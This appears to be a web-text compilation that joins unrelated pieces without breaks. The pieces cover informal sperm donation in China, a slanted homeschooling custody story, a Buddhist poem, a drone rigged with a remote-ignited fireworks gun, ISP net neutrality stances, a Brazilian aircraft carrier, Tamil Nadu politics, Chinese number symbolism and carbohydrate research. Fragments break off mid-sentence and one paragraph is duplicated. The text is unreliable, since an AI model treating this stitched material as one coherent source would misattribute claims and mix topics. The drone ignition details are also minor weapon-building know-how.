After 10 minutes, he opened the door and handed the sandwich box full of “little tadpoles” to a 34 year old woman, and then he left. “At the time I almost forgot to get my payment because I wanted to run out of there fast”. He was given 500 RMB for his troubles. Two weeks later the woman contacted him to say it had failed, she was still not pregnant. After that he didn’t hear anything from her again.
After the failure of his first try Xuanyu started to research how to ensure success. He conducted a thorough investigation, finding out that you can buy ovulation charts off Taobao to better understand when a woman is ovulating. He looked at many pictures on the internet and read reports about what the best syringe is in order to get the most sperm into the uterus.
With all this new found knowledge he quickly stood out amongst the other donors. Soon after, he was contacted by a married couple, who after five years of marriage had still not conceived. That time, after the syringe was full Xuanyu and the woman’s husband helped to inseminate her. Xuanyu’s memories of the event were that the fly in the sink didn’t stop flying around, sweat was running down his face, the shadow he cast over the woman’s body and the sweat running over her belly. This time ended in failure too.
A month later the woman came back without her husband. Desperate for a baby, she and Duan Xuanyu had sex. They went to a hotel that didn’t require ID cards, turned off their phones and video making equipment. Two months later Xuanyu received a message via QQ; it was a picture of an ultrasound. She was pregnant. Two days later a barrel of honey was delivered to Xuanyu as a thank you.
Wanting to donate
On the QQ group, it is rare that women post threads asking for sperm. It is more common to find potential donors through their posted information. There are about 100 people in the group, but only about 12 regularly chat. Despite that, messages are posted everyday. Of these 12 most active members almost all have donated sperm that successfully lead to a pregnancy. “There is a definite hierarchy within the group and those that have had success are the ones who post.” But it doesn’t mean that everyone else in the group is inactive. Within 20 minutes of joining this reporter was inundated with messages. Compared with the bosses these people have to really sell themselves; they share their educational background, height, appearance, and even salary. One member called ‘211Doctor’ (211 院校博士在读) wrote that his height is 176, his parents were both healthy, that his grandmother died last year, but that all other relatives were alive”. Someone else, called 176Doctor, told this reporter that he was 31 years old and engaged in scientific research so didn’t have time for a wife and family: “Maybe I won’t get married, so I hope to leave behind offspring while I’m still young”.
Source: wenxuecity.com
Warning：The use of any news and articles published on eChinacities.com without written permission from eChinacities.com constitutes copyright infringement, and legal action can be taken.
Keywords: illegal sperm donation in China sperm shortage in ChinaThe government values education; in fact, they value it so much that they’re willing to go to great lengths to exercise control over curricula in every school district in every state so as to ensure that children receive the education that they deserve.
That’s what Kiarre Harris (shown) discovered when her two children were snatched away from her because the government deemed her teaching to be inadequate.
A single mother currently residing in Buffalo, New York, Harris had enrolled her children in public school. However, displeased with the teaching methods being used in the public schools attended by her children, she opted to remove her children from those schools and to register them as homeschooled, thereby freeing her to teach her own children principles she believed to be important and to have been absent from the public schools' curriculum.
“I felt that the district was failing my children,” she stated, “and that’s when I made the decision to homeschool.”
As mandated by the laws of the state of New York, parents choosing to homeschool their children must cut their way through rolls and rolls of regulatory red tape. According to the New York State Education Department (NYSED), one must first inform their school of their intent to homeschool two weeks prior to the student's departure. Once that has been completed, the parent's homeschooling methods must be reviewed and approved by the school board, and then submitted for additional approval by the homeschooling commissioner in that county. If and only if these requirements are met are parents in New York free to teach their children as they deem fit.
Harris claims she carefully adhered to the guidelines set by NYSED by studying the somewhat complicated legal processes so that she wouldn't make a misstep. She insists that she believed herself compliant with the demands of the law after she received acknowledgement from one of the homeschooling directors of the issuing of a license by the state to begin homeschooling her children. “I spoke directly to the homeschool coordinator and she told me from this point on my children were officially un-enrolled from school," Harris told local media.
Nearly a week after receiving the state's stamp of approval, Harris received a phone call from Child Protective Services (CPS) enquiring as to the whereabouts of her children, and why they hadn't shown up to school for nearly two weeks. After explaining the situation to CPS, Harris then offered to provide legal documents for CPS directors to review. "I told them that my kids were homeschooled now and that I could furnish the documents if they need to see them," said Harris.
CPS seemed satisfied with Harris' responses to their questions and ended the conversation, leaving Harris to think that everything was resolved favorably.
Nearly a month went by without incident. Then, on January 13, 2017, a large group of CPS case workers and police officers descended on Harris' home, informing her that they had a court order to remove her children from her custody due to "educational neglect."
At this point, Harris demanded they produce warrants or other legal documents justifying such severe action. The police and the CPS agents refused that request and Harris accordingly refused to hand over her children.
In response, the police officers arrested Harris, impounded her car, and forcibly removed her children from her home.
More than a month has passed since Harris has been allowed to see her children and neither CPS nor the police department has provided adequate legal justification for seizing her children and placing them in the foster care system.
Harris adamantly insists she followed the proper procedures for removing her children from public school, and furthermore, that she was approved by the appointed government apparatchik to begin homeschooling her children. What's more, Harris produced all the requisite legal documentation of the legitimacy of her claim, including the license to homeschool issued by the district where she lives.
How was this apparently appalling miscarriage of justice and assault on the sanctity of the family allowed to happen?
CPS claims that in order to homeschool, one must have full custody over their children, and the agency insists that such a status is impossible in Harris' case as she is a single mother. Harris claims to the contrary that she has had full legal custody over her children for many years now and can demonstrate such through production of court orders and other legal documents.
Another point pressed by CPS, the police department, and the family court had nothing to do with Harris' alleged failure to comply with the protocol for applying for a homeschooling license. In fact, the proximate cause of Harris' children being forcibly removed from her home was not her ineffective compliance with education regulations, but it was the statements she posted about public schools on her social media accounts.
“Respondent recently posted a comment on social media ridiculing the school system and people who attend school or graduate from school,” the court stated in its upholding of CPS decision to remove her children from Harris' home and to place them in a foster home.
In other words, Harris' children would have been seized by the government regardless of her compliance with regulatory processes, and their true intent was to punish a single mom trying to homeschool her children for publicly criticizing public schools. This is the very definition of the chilling effect and will likely persuade other parents planning to homeschool their children to leave them in the public school system for fear that removing them would subject their children to seizure by the state and placement in foster care.
Equally disturbing is the fact that advocates of homeschooling — particularly in Buffalo, New York — will be afraid to exercise the full scope of their right to speak freely, fearing arrest and the loss of custody of their own children as punishment for the public position on school choice.
City Council member Ulysees Wingo is currently fighting the court over Harris' treatment, pointing out the discrepancies that resulted from the state’s lack of communication between its own agencies. He also pointed out that the charges have actually become more severe against Harris after the confiscation of her children. “This is utterly unacceptable“ Wingo stated. “We need to ensure this never happens again."
Sadly, as long as we allow the government at any level to exercise monopolistic control over the education of our children and as long as we allow "law" to trump the parents' plans for the education of their children, this tragic tale will be told again and again across this once-free country.Contemplation
A Poem by Thich Nhat Hanh
Since the moon is full tonight,
let us call upon the stars in prayer.
The power of concentration,
seen through the bright, one-pointed mind,
is shaking the universe.
All living beings are present tonight
to witness the ocean of fear
flooding the Earth.
Upon the sound of the midnight bell,
everyone in the ten directions joins hands
and enters the meditation on Mahakaruna.
Compassion springs from the heart,
as pure, refreshing water,
healing the wounds of life.
From the highest peak of the Mind Mountain,
the blessed water streams down,
penetrating rice fields and orange groves.
The poisonous snake drinks
a drop of this nectar
from the tip of a blade of grass,
and the poison on its tongue vanishes.
Mara‘s arrow’s
are transformed
into fragrant flowers.
The wondrous action of the healing water–
a mysterious transformation!
A child now holds the snake in her innocent arms.
Leaves are still green in the ancient garden.
The shimmering sunlight smiles on the snow,
and the sacred spring still flows toward the East.
On Avalokita‘s willow branch,
or in my heart,
the healing water is the same.
Tonight all weapons
fall at our feet
and turn to dust.
One flower,
two flowers,
millions of little flowers
appear in the green fields.
The gate of deliverance opens
with a smile on the lips
of my innocent child.
♡♡♡
The gorgeous “Elegy for Cello and Orchestra” as played by Yo-Yo Ma seemed like a perfect accompaniment for this poem. Click the arrow to listen: https://mettarefuge.files.wordpress.com/2011/06/elegy-for-cello-and-orchestra.mp3
You can purchase it from iTunes by clikcing here: “Elegy for Cello and Orchestra”
Notes on the poem:
Mahakaruna means great (maha) compassion (karuna.)
In Buddhist cosmology, Mara personifies unskillfulness, the “death” of the spiritual life. He is a tempter, distracting humans from practicing the spiritual life by making the mundane alluring or the negative seem positive.
Avalokita is a short name for the bodhisattva Avalokiteshvara, also known as Kwan-Yin. In Chinese, Kwan-Yin literally means “she who observes sound.” In Vietnamese, she is Quan The Am, which means “the one who listens and hears the cries of the world”—the one who listens and hears in order to come and help. The love of this bodhisattva is like the limitless love of a mother for her own children, like an ocean of mercy without end.
♡♡♡A radio-controlled helicopter enthusiast in Sweden decided to mod his tricopter recently with a fireworks gun. The end result is surprisingly effective remote flying attack unit as the video above demonstrates.
The gun consisted of roman candles mounted on the tricopter with remote ignition controlled by a bit-switch. As the modder and pilot explains on his site RCExplorer:
This was my ignition system. A 12ohm 1/4W resistor and a match-head. When connected to 12V the resistor draws 1A which means that it has to deal with 12W of heat (I^2*R=1*1*12). The resistor is rated for 0.25W (1/4W) and thus heats up so much that it ignites the match-head.
The remote firing system was a separate controller from the main tricopter control pad. It consisted of two buttons, one to arm, the other to launch. A camera mounted on the tricopter allows for precise control even when the flying out of view. Aiming would take a lot of skill and practice, though.
To test the system a number of balloons were positioned in an open area covered in snow. A defense sentry was also setup with two 100 pack rockets and a smoke dispersing fan just to spice things up.
While we don’t suggest trying this at home unless you have experience with handling fireworks, we do think it would be very cool to have the equivalent of Robot Wars, but with weapon-equipped tricopters controlled via a mounted camera on an open play-field.
Read more at RCExplorer.seThe FCC voted to put an end to net neutrality, giving internet providers free rein to deliver service at their own discretion. There’s really only one condition here: internet providers will have to disclose their policies regarding “network management practices, performance, and commercial terms.” So if ISPs want to block websites, throttle your connection, or charge certain websites more, they’ll have to admit it.
We’re still too far out to know exactly what disclosures all the big ISPs are going to make — the rules (or lack thereof) don’t actually go into effect for another few months — but many internet providers have been making statements throughout the year about their stance on net neutrality, which ought to give some idea of where they’ll land.
We reached out to 10 big or notable ISPs to see what their stances are on three core tenets of net neutrality: no blocking, no throttling, and no paid prioritization. Not all of them answered, and the answers we did get are complicated.
Internet providers have been forced to behave — and they use that as proof nothing will change
Many ISPs say they support some or all of these core rules, but there’s a big caveat there: for six of the past seven years, there have been net neutrality rules in place at the FCC. That means all of the companies we checked with have had to abide by the no blocking, no throttling, and no paid prioritization rules. It means that they can say, and be mostly correct in saying, that they’ve long followed those rules. But it is, on some level, because they’ve had to.
What actually matters is which policies ISPs say they’ll keep in the future, and few are making commitments about that. In fact, all of the companies we contacted (with the exception of Google) have supported the FCC’s plan to remove the current net neutrality rules. And one has to ask: if ISPs really plan to voluntarily follow those rules in the future, then why did they want to see them overturned? It’s clear that there must be some restrictions that we’ll ultimately see ISPs start to break.
In particular, none of the ISPs we contacted will make a commitment — or even a comment — on paid fast lanes and prioritization. And this is really where we expect to see problems: ISPs likely won’t go out and block large swaths of the web, but they may start to give subtle advantages to their own content and the content of their partners, slowly shaping who wins and loses online.
With that in mind, here’s what we know about some of the biggest internet providers’ plans for a world without net neutrality
Comcast
Comcast has an extremely brief page on its website dedicated to net neutrality, where the company makes three statements. The only important one is this: “We do not block, slow down, or discriminate against lawful content.” It’s a present-tense statement — not a promise — and has to be true because the current FCC rules require it.
In an email to The Verge, Comcast’s government communications SVP, Sena Fitzmaurice, said that the company’s business practices have “enshrined” these stances around lawful content. I asked if these commitments were guaranteed into the future, but didn’t receive a response.
Notably, Comcast doesn’t say much about paid prioritization either. It actually used to, but Comcast removed a line from its open internet site back in April saying that it doesn’t prioritize internet traffic or create paid fast lanes, suggesting it isn’t willing to make that part of its platform. The company has repeatedly reiterated that it does not offer paid fast lanes and currently has “no plans to do so,” but it hasn’t said that it never will.
Comcast also doesn’t have a public stance on zero-rating, something that’ll be increasingly important as the company puts data caps on its subscribers. Those data caps are high enough right now that it’s doubtful many subscribers will hit them, but that’s likely to change in the future as 4K video eats up more and more bandwidth.
Takeaway: Comcast says it currently doesn’t block, throttle content, or offer paid fast lanes, but hasn’t committed to not doing so in the future.
Disclosure: Comcast is an investor in Vox Media, The Verge’s parent company.
AT&T
AT&T actually makes some fairly specific commitments on net neutrality principles. On its network management page, the company says it “does not favor certain websites or internet applications” by blocking or throttling, except for security purposes.
More importantly, AT&T’s SVP of external and legislative affairs, Bob Quinn, wrote in a blog post that these policies are here to stay. “[These commitments] represent a guarantee to our customers that we will provide service in an open and transparent way,” Quinn wrote. “They have been, and will continue to be, enforceable commitments. We will not remove that language and we will continue to update any changes we make to our network management practices.”
So that’s actually pretty good as far as ISP commitments go. But it does leave out two things:
The first is zero-rating. AT&T actually explicitly says elsewhere that it thinks zero-rating is a good thing. The company’s EVP of regulatory and state external affairs, Joan Marsh, calls it “unambiguously beneficial to consumers.” AT&T already runs a zero-rating program, called Sponsored Data, and it’s obviously not going to stop.
The other question is around paid prioritization. Does AT&T’s no throttling commitment mean it won’t create fast and slow lanes? Probably not. While paid fast lanes effectively throttle whoever doesn't pay, ISPs draw a distinction between the two practices. Which means that, like Comcast, paid prioritization remain a possibility, even if it’s not something AT&T is doing today. We’ve reached out on this point for clarification but haven’t heard back.
Takeaway: AT&T has committed to not blocking or throttling websites in the future. However, its stance around fast lanes is unclear.
Verizon
Like Comcast, Verizon has a website dedicated to explaining its stance on net neutrality principles. Unlike Comcast, it’s quite wordy — though it doesn’t actually say all that much.
Verizon seems to say it’s committed to not blocking legal content, though it does so in a roundabout way, writing that customers “can access and use the legal content, applications, and services of your choice, regardless of their source.” Verizon spokesperson Rich Young says that even after the rules are lifted, “our internet customers will continue to be able to go where they want and do what they want online.”
As for throttling, zero-rating, and paid prioritization, Verizon doesn’t have an answer. Verizon already offers zero-rated services (it runs a program with the obnoxious name “FreeBee Data 360,” which Verizon’s own Go90 service takes advantage of), so that one’s answered. That practice is likely to continue, if not expand to cover other Verizon content.
When it comes to throttling and paid prioritization, Verizon’s net neutrality page actually seems to hint that fast lanes could happen. Verizon says it plans to “innovate and create new services” and that when it does so, it’ll “disclose to you the characteristics, capabilities, and terms of our various service offerings.” We’ve reached out to Verizon for clarification.
Takeaway: Verizon indicates that, at least in the immediate future, it will not block legal content. As for throttling and fast lanes, the company has no stance, and even seems to be excited to use the absence of rules to its advantage.
T-Mobile
T-Mobile is extremely vague on its commitments and declined to elaborate on them in emails to The Verge. The company’s existing network management page says that it “does not block lawful traffic based on content or subject,” which, again, is a legal requirement at this point in time. T-Mobile also published a statement yesterday saying, “we always have and will support an open internet,” though it doesn’t define what that means.
That’s really all we have. And T-Mobile is well-known for providing zero-rated services, which can advantage some apps over others. Binge On, for instance, lets customers stream some video services for free, but not others. While it covers a wide range of services, it doesn’t cover everything, meaning that some apps and sites necessarily have an advantage.
Takeaway: T-Mobile makes no commitments to not throttle content or offer paid fast lanes and is unclear on its commitment to not blocking sites and services. It’s already involved in programs that advantage some services over others.
Sprint
Sprint is fairly vague in its stance as well. Its website says that Sprint “does not block sites based on content or subject, unless the internet address hosts unlawful content or is blocked as part of an opted-in customer service.” So that generally seems to be a stance against blocking lawful content, with an exception for, say, parental controls. Though, again, this is legally required right now.
Aside from that, Sprint doesn’t comment on throttling, zero-rating, or paid prioritization. And in an email to The Verge, a Sprint spokesperson seemed to indicate that the company would take advantage of these changes, saying the absence of net neutrality rules “appears to allow Sprint to manage our network and differentiate our products.” That differentiation, presumably, being through services that couldn’t be offered before because they violated net neutrality.
When asked to clarify, a spokesperson said, “It would be a big leap to hypothesize that means limited or zero-rated plans.”
Takeaway: Sprint makes no commitments on net neutrality, but suggests it doesn’t have plans to offer a service that would block sites.
Charter (Spectrum)
Charter, which recently bought Time Warner Cable and became the United States’ second largest cable provider, says it has “no plans” to change its current practices. That’s not a commitment, but it is a sign that some basic policies should continue.
In an email to The Verge, a Charter spokesperson pointed to a recent statement saying that the company has “a longstanding commitment to an open internet.” Charter also says it doesn’t “block, throttle, or interfere with the lawful activities of our customers” or impose data caps or charge customers based on data usage. Those final items aren’t legal requirements, and the lack of data caps does mean that Charter can’t offer zero-rated services.
The company doesn’t say anything about paid prioritization, however. And Charter didn’t respond to a follow-up question on whether these are permanent positions.
Takeaway: Charter doesn’t make any guarantees, but the company indicates that it’s currently committed to not blocking or throttling customers.
Cox
Cox says that the FCC’s vote won’t change its commitments to net neutrality, which include not blocking or throttling customers. “Cox has always been committed to providing an open Internet experience for our customers, and reversing the classification of Internet services will not change our commitment,” a spokesperson said in an email to The Verge.
The company declined to elaborate beyond that comment. So Cox doesn’t have any stance on paid prioritization or zero-rating, which the company can implement because it employs data caps.
Takeaway: Cox says it won’t block or throttle content, even without net neutrality. It won’t make commitments on zero-rating or paid fast lanes.
Altice USA (Optimum and Suddenlink)
Altice, the parent company of Optimum and Suddenlink (as well as a number of foreign ISPs and internet companies), has next to no details available on its website. But in a comment emailed to The Verge, an Altice USA spokesperson said the company does “not block, throttle, or unfairly discriminate against lawful content and [is] committed to ongoing transparency with our customers on those policies.”
The statement seems to be saying that, while Altice doesn’t currently do these things, it’ll keep customers updated if its blocking and throttling policies change. That said, Altice also says it’s “committed to delivering... a superior broadband experience” and that “an open internet is critical” to providing that. It’s kind of roundabout, but it seems to indicate a general, if not all that specific, plan to stick to these policies.
Altice doesn’t mention anything about zero-rating or paid prioritization, though. And while Optimum doesn’t employ data caps, Suddenlink does, which could allow Altice to consider zero-rated services.
Takeaway: Altice doesn’t currently block or throttle and suggests it will keep those policies, though without an explicit commitment. The company doesn’t comment on prioritizing one service over another.
Google Fi and Google Fiber
You’d think Google’s two ISPs would be among the more progressive, but they’re actually among the quietest of the group. Neither Fi nor Fiber has a particularly detailed explanation on its website, and after multiple requests for comment, we only received one brief statement from a Google Fiber spokesperson, saying “The net neutrality order doesn't change anything at Google Fiber — we don't put any limitations on how you access or use the internet aside from the terms of service.” This does not say much.
On their websites, both Fi and Fiber indicate that they don’t block legal content. Fi writes that it is “committed to providing an excellent user experience that supports any lawful product, service, or application.” Fiber says it “does not prevent or impede the use of any other product or service” so long as it doesn’t violate the company’s terms of service. Fiber goes slightly further than Fi, also adding that it “does not favor or inhibit any applications or classes of applications,” aside from some basic network management.
While Google’s two internet providers don’t make clear net neutrality commitments, Google is the only company on this list not opposed to net neutrality (although it didn’t feel all that strongly about Title II). On a website earlier this year, the company wrote that allowing companies to block, throttle, and prioritize content would “threaten the innovation that makes the internet awesome.”
But none of those are commitments. And we were unable to even get a statement clarifying the existing positions at Google Fi.
Takeaway: Google doesn’t make any promises regarding throttling and paid prioritization. However, it is the only company to state that it believes paid prioritization would be harmful.Between 2005 and 2010 the carrier underwent a modernization program. The upgrade included inspection and repair of the steam turbines; maintenance of the surface condensers; retubing of boilers; repair of two high-pressure compressors; revision of the AC electrical generator; purchase of spare parts; maintenance of pumps, valves, and structural items; addition of two API oil-water separators; installation of two water cooling units; upgrade of the chemical oxygen generator; repair and treatment of oil tanks; substitution of the Naval Tactical Data System; installation of a closed-circuit television system; installation of an IFF transponder; installation of a MAGE system (ESM); flight deck inspection, repair, and painting; upgrade of the Optical Landing System processing unit; and revision of the aircraft catapults.
However, deficiencies in the engines, the propulsion shaft and the catapults were still recuring and Sao Paulo rarely went to sea since 2012.
The new focus of the Brazilian Navy is set to be its submarine programme to be built locally in partnership with DCNS.
Saab was pitching its
Sao Paulo is a Clemenceau-class aircraft carrier that was first commissioned in 1963 by the French Navy as Foch and was transferred in 2000 to Brazil, where she became the new flagship of the Brazilian Navy. The vessel displaces 32,800 tons, has a length of 265 meters and a crew of 1,920 sailors. It is able to accommodate 39 aircraft: 22 jets and 17 helicopters. In Brazilian Navy service these were: A-4KU Skyhawks, AS 532 SC Cougars, HB 350 & HB.355 Ecureuils, and SH-3 Sea Kings.Between 2005 and 2010 the carrier underwent a modernization program. The upgrade included inspection and repair of the steam turbines; maintenance of the surface condensers; retubing of boilers; repair of two high-pressure compressors; revision of the AC electrical generator; purchase of spare parts; maintenance of pumps, valves, and structural items; addition of two API oil-water separators; installation of two water cooling units; upgrade of the chemical oxygen generator; repair and treatment of oil tanks; substitution of the Naval Tactical Data System; installation of a closed-circuit television system; installation of an IFF transponder; installation of a MAGE system (ESM); flight deck inspection, repair, and painting; upgrade of the Optical Landing System processing unit; and revision of the aircraft catapults.However, deficiencies in the engines, the propulsion shaft and the catapults were still recuring and Sao Paulo rarely went to sea since 2012.The new focus of the Brazilian Navy is set to be its submarine programme to be built locally in partnership with DCNS.Saab was pitching its Sea Gripen to Brazil as a replacement for the A-4 Skyhawks. With the decommissioning of Sao Paulo, it seems like the only potential customer for Sea Gripen would be the Indian Navy.After consultation with my Generals and military experts, please be advised that the United States Government will not accept or allow......
Six trailing periods, sic.
....Transgender individuals to serve in any capacity in the U.S. Military. Our military must |
strip over the first one. Do not tape the paper with the first roll.
Remove the magnet after the paper cylinder is ready.
Glue the paper cylinder to the plate; try to glue it exactly at the center of the plate.
Start making the coil, keep the magnet inside so you don't crush the paper cylinder.
Discard the inner paper cylinder and try not to damage the second one
Make about 50 turns of wire (AWG 32). If you don't have copper wire AWG 32, then use AWG 30 but be sure the coil has at least 7 ohms. After you finish the coil, remove the magnet and the inner paper cylinder.. The inner cylinder is only used to create a gap between the magnet and the coil.
Fold the business cards as the picture shows.
small
If the magnet is not high, try to makethree tight folds only, so the coil stays just above the magnet. [I mean, not wide folds]
Glue the cards to the foam plate. Try to align both business cards. (Parallel)
on the magnet and each business card
Now, Put some glue...
Now, put the plate so the business cards and the magnet stick to the base. The "base" can be a solid cardboard or wood. Anything flat and rigid works fine. I did use a cardboard. Using wood, the sound is better as wood vibrates less than cardboard.
Check the wires, keep the wires away of the business cards or it may cause some noise and/or a rattle noise, so try to keen both wires separated.
Remove the coating from the copper wire tip. I did remove about 1/4" of the enamel so the circuit will be closed when connecting the wire.
Thanks Gregg from WI & Thomas from papua new guinea for this tip!
You can take the enamel off much easier with the flame of a lighter than a wire stripper or a razor.
Testing the speaker.
This step may help you to determine if the home-built speaker is working. Just touch the sides of ANYbattery with both ends from the speaker wire. Do not hold the wires, just touch the battery sides slightly. While doing this, the speaker should produce a noise. If there is no sound coming from the speaker that means the wire setup is not good or there is a short circuit.
12/26/2007 - Update:
This diagram shows how it is connected to the plug. Using a Mono plug, just conect one end of the wire to the center connector and the other end to the side connector of the plug.
If you are using a STEREO plug, just connect one end of the wire to the center of the plug and the other end to ANY of the side contact from the plug. Don't forget to remove the coating from the copper wire (Yes, I told you, it should be enameled copper wire. Just bare copper wire is not going to work.
In case you are using a plug from cheap headphones, connect one end to the copper wire from the headphones cable and the other end to the red or white wire. Stereo headphones usually have three wires.
After the glue dries, your homemade speaker is ready! You can make two if you want to have stereo speakers. I did plug my homemade speaker to my computer and I was satisfied with the result, the volume is good, the quality of the sound is really good, basically works fine like a commercial speaker does.
Nothing touches the wires. The wires should move freely.
The cards are completely glued, apply glue on ALL AREAS and no corners are left unglued.
The coil have no loose wires. Try to keep the coil tight enough and secure it with glue or tape. Loose wire may vibrate and cause distortion.
The coil should not touch the magnet. Try to make the coil wider. Also, the coil should not touch the base of the speaker.
If the foam plate is too soft, it may not work well. It should not be folded, bent or have cuts. Loose parts can cause distortion. If the sound is not loud enough (don't expect miracles or it to be louder than a commercial speaker)
Be sure the coil have at least 50 turns or, if you have a multi-meter, more than 7 ohms.
Adjust the height of the coil in reference to the magnet.
Try to glue the business cards closer or away from the coil until find the perfect location/volume. Be sure the business cards are parallel.
Use neodymium magnets.
Be sure nothing touches the foam plate, only the business cards should touch it.
Some personal or portable audio devices doesn't have enough power to drive a speaker. Try many audio sources if you get no sound or the volume is low.
***WARNING*** DO NOT use AWG 24, 26, or 28. You need to use AT LEAST AWG 30. The wire should be isolated! Again, it should have a coating. Do not use any other kind of wire as it may short-circuit the audio output.
Where to buy the parts:
Foam Plate
Business cards
Wire:
Corrected, Thanks Quinten!
Magnets:
Glue:
I did purchase the foam plate from the supermarket. Any brand.... that is for free from anyone.I did purchase the wire from ebuy,Some craft stores sell the wire. You may even use the wire from old electronic parts if you have a background about electronics.I did purchase it from the craft store. Ceramic magnets are ok, but the sound is louder using neodymium magnets. I do recommend neodymium magnets for better results. Some hardware stores sell those magnets. Square magnets are ok, just make the coil square.Buy it from anywhere, It depends of how long do you want to wait. If you are willing to wait until the glue dries, use any kind. If you are some kind of crazy and wants everything done immediately (just like I'm), use hot glue or instant glue, but be careful! Your speaker will not work if your finger is glued on it.
Dear Jose Pino,
I have had a lot of fun using your instructions for making homemade loudspeakers for an art project.
The speakers (or speaker objects) are just about to be exhibited in a show, and I have started to worry about the paper coils- I haven't thought about whether or not the coils will become too hot (over time), and perhaps be a fire hazard?
Each playback session will be about five hours.
The different speakers are connected to ipod shuffles (chargeable), and a discman (which is connected to power with a battery eliminator)
Forgive me if this is a stupid question;-) I just need to know, and I thought you might know something about this.
I hope to hear from you soon, and thanks so much for your instructions.
Have a good weekend.
Best wishes,
Ingrid EikhaugenNorway
Actually, it's a good question.
Yes, Homemade speakers are a fire hazard if connected to hi-power amplifiers AND if it doesn't have enough turns. High currents will make coil hot and can burn the materials used. Low-power amplifier should be used (less than 2 watts) to avoid any fire hazard.
If coil gets hot when using this homemade speaker, stop using it immediately. Even better: Do not build this project.CHENNAI:
is set to strengthen its base in
and position itself as a potential contender for the Dravidian legacy. The party has been making concerted efforts to fill the political space created by
and DMK chief, M Karunanidhi's retirement from active politics.
“We have identified 120 constituencies in the state, where the party has improved its fortunes over the years. Full-time members have been deputed for the outreach programme to strengthen our base,“ BJP state president Tamilisai Soundararajan said. National president
is said to have helped evolve the micro-management strategy in the wake of its defeat in the 2016 assembly election.
At least 10,000 office-bearers have been engaged for the Vistarak programme to establish contacts with the people, take the Modi government's achievements to them and rev up the membership drive. The ongoing programme saw 5,000 members already doing their bit to “bring about a change.“
The executive committees from the state to mandal level meet periodically for diverse political activities, including flag hoisting in all 65,000 booths in the state. The party's youth wing will take out a large rally in Chennai on August 7 to demand total prohibition, early civic polls and steps to improve the standards of education. Poonam Mahajan, head of youth wing is scheduled to participate, said BJP state youth wing chief Vinoj P Selvam.
The party is also gearing up for Amit Shah's TN visit on August 22 and 23, during which he is expected to meet OBC leaders. Shah's larger game plan, of course, is to prevent Congress and its ally DMK from filling the vacuum caused by J Jayalalithaa's demise. “His visit is to encourage workers and get them ready for the 2019 polls. His objective is to strengthen the organization,“ said senior leader and Rajya Sabha member L Ganesan. “BJP is a party which does not depend up on weakness of another party. Our base has expanded,“ he said. Sources say there could also be some'surprise announcements' during Shah's visit.
The
and it is likely that the former chief minister will meet Amit Shah during his TN visit, said sources close to him.
“We don't want any party to split. In fact, we want the AIADMK government to complete its full term. They should maintain the unity,“ Ganesan said. The two meetings OPS had with Modi, first in Delhi and later in Madurai, in less than a week has jolted chief minister Edappadi K Palaniswami's camp. Modi has developed a liking for Jayalalithaa's trusted lieutenant, said a BJP leader. But, the BJP government is not averse to doing business with the EPS camp either, provided Palaniswami keeps the
clan at bay.Numbers and Meanings in Chinese Culture
Numbers play a significant role in Chinese culture. In China, whether a number is considered lucky or not, their special meanings are often related to the pronunciation of the numbers. If the number sounds similar to a positive word, then it is considered lucky and vice versa.
2 èr
Chinese people believe “Good things come in pairs.” The number 2 has the meaning of “double”, “pair”, so it is an auspicious number in Chinese culture.
However, the number 2 doesn’t always mean "good". In some parts of China, mostly in the north, 2, as well as the number 250 (èr bǎi wǔ) have the meaning of being stupidity. When you hear people call you “èr” or “èr bǎi wǔ”, it is never a praise. Having said that, 2 is not quite an insulting word. Close friends in China often use this word to make fun of each other.
4 sì
The number 4 is a number that every Chinese wants to get away from. Chinese people specially don’t like the number 4(sì), because it is a homophone of the Chinese character 死(sǐ), which means “to die” in Chinese. It is one of the top 8 Chinese taboos you must know.
6 liù
6 is a very lucky number in Chinese. It has the meaning of being “auspicious” in Chinese culture. In China, there is a Chinese idiom called “六六大顺 (liù liù dà shùn)”, which means “Everything comes in a smooth way.” And Chinese people will hold a very grand party to celebrate the 60th birthday of the old.
8 bā
The pronunciation of the number 8 is “bā”, very close to the Chinese character “发(fā)” as in “发财(fā cái)”, which means “to become wealthy.” People in China traditionally associate fortune with the number “Eight”. To illustrate how highly the number 8 is favored, the telephone number 8888-8888 was sold for a sum corresponding to USD $270,723 in Chengdu, capital of China's Sichuan Province. And the Summer Olympics in Beijing opened its ceremony on the August 8th (08/08/08), at precisely 8 minutes and 8 seconds past 8 PM Beijing time!
9 jiǔ
The number 9 is yet another lucky number, because it has exactly the same pronunciation as the Chinese character “久(jiǔ)”, which has the meaning of “everlasting”. For example, on Valentine’s Day, a man would express his love by presenting 9999 roses to his girl to show that his love towards her is everlasting.
520 wǔ èr lín��
Another romantic word is 520, in which 5 sounds close to “我(wǒ)” meaning “I”, 2 sounds close to “爱(ài)” meaning “love”, and 0 sounds close to “你(nǐ)” meaning “you”. And to express how much you love that person, you can add 1314, which has very similar pronunciation to “一生一世 (yì shēn�� yí shì)” meaning “a lifetime”. So all together, 5201314 means “I love you for my whole life.”
Are you ready to do a quiz?The long-held view that carbohydrate-rich foods are protective against heart disease, or at least benign, turns out to be wrong. Carbohydrate recommendations are too high but which carbohydrate-rich foods should be recommended in a healthy diet and which foods should be culled?
One of the most important findings from nutrition research in recent years was that carbohydrate confers similar risk for coronary heart disease to saturated fat. This turned 20 years of dietary advice on its head as it meant that the long-recommended low fat diet was not protective against heart disease. It followed that carbohydrate recommendations were too high and if lower intakes of carbohydrate were to be recommended, it would make sense to preference ‘good’ carbohydrate.
But what is good carbohydrate? Ask this question to a room full of nutritionists and the argument will go on for hours. Thirty years ago starch was considered good and sugars were bad, based on the assumption that starch was digested more slowly and raised blood glucose levels more gradually than sugars. However, studies of glycaemic index showed this assumption to be wrong. So should nutritionists forget about sugar and start recommending low GI foods? There are also arguments over whether ‘wholegrain’ or dietary fibre is the better measure of a good cereal food. In the United States, nutrition authorities have adopted nutrient density as an over-arching principle of their latest dietary guidelines. It would certainly make sense to favour nutrient-rich carbohydrate foods if total carbohydrate intake (or calories) was to be limited. So there are lots of options and opinions but no consensus on what represents good and bad carbohydrate.
Against this swirling background Professor Manny Noakes from CSIRO and I recently published a new model for assessing the nutritional quality of carbohydrate-rich foods.
Assessing nutritional quality
The new model has now been published in the journal Nutrition and Dietetics so it won’t be reviewed in detail here. Instead I’ll highlight some of the more challenging findings.
